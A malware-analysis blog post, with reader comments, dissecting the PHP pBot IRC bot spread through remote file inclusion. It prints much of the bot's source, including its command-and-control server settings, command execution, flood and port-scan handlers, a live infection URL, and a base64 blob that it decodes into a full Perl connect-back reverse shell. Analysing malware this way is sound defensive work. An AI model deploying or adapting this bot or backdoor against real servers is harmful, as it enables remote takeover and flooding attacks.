Skip navigation.
Home

PHP pBot Dissection

Today I'll dissect a website infected with PHP:Pbot-A according to Avast naming convenction.

Be careful link reported is still alive!

From a malicious domains DB emerged this infected URL

http://jamera2.justfree.com/cmdupload2.txt

As you can see it seems a classical .txt file, but this is a classical evidence of RFI Infection.

MD5 : da67134fc6953201d3556f5fedbcd50d

/*
*
* #crew@corp. since 2003
* edited by: devil__ and MEIAFASE
* Friend: LP
* COMMANDS:
*
* .user //login to the bot
* .logout //logout of the bot
* .die //kill the bot
* .restart //restart the bot
* .mail //send an email
* .dns //dns lookup
* .download //download a file
* .exec // uses exec() //execute a command
* .sexec // uses shell_exec() //execute a command
* .cmd // uses popen() //execute a command
* .info //get system information
* .php // uses eval() //execute php code
* .tcpflood //tcpflood attack
* .udpflood //udpflood attack
* .raw //raw IRC command
* .rndnick //change nickname
* .pscan //port scan
* .safe // test safe_mode (dvl)
* .inbox // test inbox (dvl)
* .conback // conect back (dvl)
* .uname // return shell's uname using a php function (dvl)
*
*/

As you can see these are the classical commands a BOT, now let's see its code.
The entire code is contained into a class called pBot.

var $config = array("server"=>"190.34.136.66",
"port"=>"29",
"pass"=>"jamera",
"prefix"=>"Kr3W",
"maxrand"=>"4",
"chan"=>"#down",
"chan2"=>"",
"key"=>"jamera",
"modes"=>"+p",
"password"=>"jamera",
"trigger"=>".",
"hostauth"=>"*" // * for any hostname (remember: /setvhost pucorp.org)
);
var $users = array();

from which we can extract server, password, channel, key chan and username.

Suddenly we have the start function that setups entire environment

function start()
{
if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
$this->start();
$ident = $this->config['prefix'];
$alph = range("0","9");
for($i=0;$iconfig['maxrand'];$i++)
$ident .= $alph[rand(0,9)];
if(strlen($this->config['pass'])>0)
$this->send("PASS ".$this->config['pass']);
$this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
$this->set_nick();
$this->main();
}

Creates a socket that contains server and port taken from config and successively join to the irc server, as you can note from $ident and set_nick() function. Now let's see piece by piece the main()

function main()
{
while(!feof($this->conn))
{
$this->buf = trim(fgets($this->conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :")
{
$this->send("PONG :".substr($this->buf,6));
}
if(isset($cmd[1]) && $cmd[1] =="001")
{
$this->send("MODE ".$this->nick." ".$this->config['modes']);
$this->join($this->config['chan'],$this->config['key']);
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->privmsg($this->config['chan2'],"[\2uname!\2]: $uname (safe: $safemode)");
$this->privmsg($this->config['chan2'],"[\2vuln!\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");

pBot ack a classical PING - PONG with irc server sends configurations mode and joins into the config specified chan with the config specified password and sends two provate messages askingfor uname! and vuln! + Server_Name

if(count($cmd)>2)
{
switch($cmd[1])
{
case "QUIT":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PART":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PRIVMSG":
if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))

in this piece is parsed the command code that can be QUIT, PART, PRIVMSG

if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "user":
if($mcmd[1]==$this->config['password'])
{
$this->log_in($host);
}
else
{
$this->notice($this->config['chan'],"[\2Auth\2]: Senha errada $nick idiota!!");
}
break;
}
}

checks if nick and password are correct.

elseif($this->is_logged_in($host))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "restart":
$this->send("QUIT :restart commando from $nick");
fclose($this->conn);
$this->start();
break;
case "mail": //mail to from subject message
if(count($mcmd)>4)
{
$header = "From: ";
if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
{
$this->privmsg($this->config['chan'],"[\2mail\2]: Impossivel mandar e-mail.");
}
else
{
$this->privmsg($this->config['chan'],"[\2mail\2]: Mensagem enviada para \2".$mcmd[1]."\2");
}
}
break;

here parses other commands that can be sent to pBot, these commands are

1. restart -> Quit command sent from nick
2. mail -> send an email
3. safe -> listed below

if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode = "on";
}
else {
$safemode = "off";
}
$this->privmsg($this->config['chan'],"[\2safe mode\2]: ".$safemode."");
break;

there are also other commands, like check inbox mail

case "inbox": //teste inbox
if(isset($mcmd[1]))
{
$token = md5(uniqid(rand(), true));
$header = "From: ";
$a = php_uname();
$b = getenv("SERVER_SOFTWARE");
$c = gethostbyname($_SERVER["HTTP_HOST"]);
if(!mail($mcmd[1],"InBox Test","#crew@corp. since 2003\n\nip: $c \nsoftware: $b \nsystem: $a \nvuln: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."\n\ngreetz: wicked\nby: dvl ",$header))
{
$this->privmsg($this->config['chan'],"[\2inbox\2]: Unable to send");
}
else
{
$this->privmsg($this->config['chan'],"[\2inbox\2]: Message sent to \2".$mcmd[1]."\2");
}
}
break;

displays inbox mail into a privatemsg.

case "conback":
if(count($mcmd)>2)
{
$this->conback($mcmd[1],$mcmd[2]);
}
break;

this is a connect back command

case "dns":
if(isset($mcmd[1]))
{
$ip = explode(".",$mcmd[1]);
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
}
else
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
}
}

DNS resolution command

case "info":
case "vunl":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
$this->privmsg($this->config['chan'],"[\2vuln\2]: http://".$123_SERVER['SERVER_NAME']."".$123_SERVER['REQUEST_URI']."");

there is also a bot version information

case "bot":
$this->privmsg($this->config['chan'],"[\2bot\2]: phpbot 2.0 by; #crew@corp.");
break;

and here a list of other commands:

1. rndnick -> generate a random nick
2. raw -> send a raw packet
3. eval
4. sexec -> shell execute a command
5. exec -> executes a command
6. passthru
7. popen
8. system
9. pscan -> perform a port scan
10. ud.server -> .ud.server [password]
11. download
12. die
13. logout
14. udpflood
15. tcpflood

by watching the functions involved in these commands we can notice an interesting block of data in conback() function

function conback($ip,$port)
{
$this->privmsg($this->config['chan'],"[\2conback\2]: tentando conectando a $ip:$port");
$dc_source = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ub
mVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAi
VXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiW
ypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID
0gODA7DQppZiAoJEFSR1ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW
50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y
3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0Kc29ja2V0KFNFUlZFUiwgUEZf
SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKT
sNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb25uZWN0KFN
FUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiV
W5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbF
xuIjsNCmlmICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICB
vcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7
DQogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDA
pOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw==";
if (is_writable("/tmp"))
{
if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); }
$fp=fopen("/tmp/dc.pl","w");
fwrite($fp,base64_decode($dc_source));
passthru("perl /tmp/dc.pl $ip $port &");
unlink("/tmp/dc.pl");
}

as you can see is a Base64 encoded block of data, so let's decode it!

The result is a connect back backdoor written in perl:

#!/usr/bin/perl
use Socket;
print "Data Cha0s Connect Back Backdoor\n\n";
if (!$ARGV[0]) {
printf "Usage: $0 [Host] \n";
exit(1);
}
print "[*] Dumping Arguments\n";
$host = $ARGV[0];
$port = 80;
if ($ARGV[1]) {
$port = $ARGV[1];
}
print "[*] Connecting...\n";
$proto = getprotobyname('tcp') || die("Unknown Protocol\n");
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Error\n");
my $target = inet_aton($host);
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
die("Unable to Connect\n");
}
print "[*] Spawning Shell\n";
if (!fork( )) {
open(STDIN,">&SERVER");
open(STDOUT,">&SERVER");
open(STDERR,">&SERVER");
exec {'/bin/sh'} '-bash' . "\0" x 4;
exit(0);
}
print "[*] Datached\n\n";

great job evilcry, as always

great job evilcry, as always ;)

thanks

Thank you nex ;)

I'm completely new to this,

I'm completely new to this, but could you please say what is an RFI Infection? Google only shows this page :)

RFI is remote file

pbot

tnx.
may be you would like to have a look at
glastopf webhoneypot project.
http://glastopf.org

"Vernichte ihn! Er ist nur ein USER!" (MCP)

thanks, your Webhoneypot

thanks,

your Webhoneypot sounds interesting!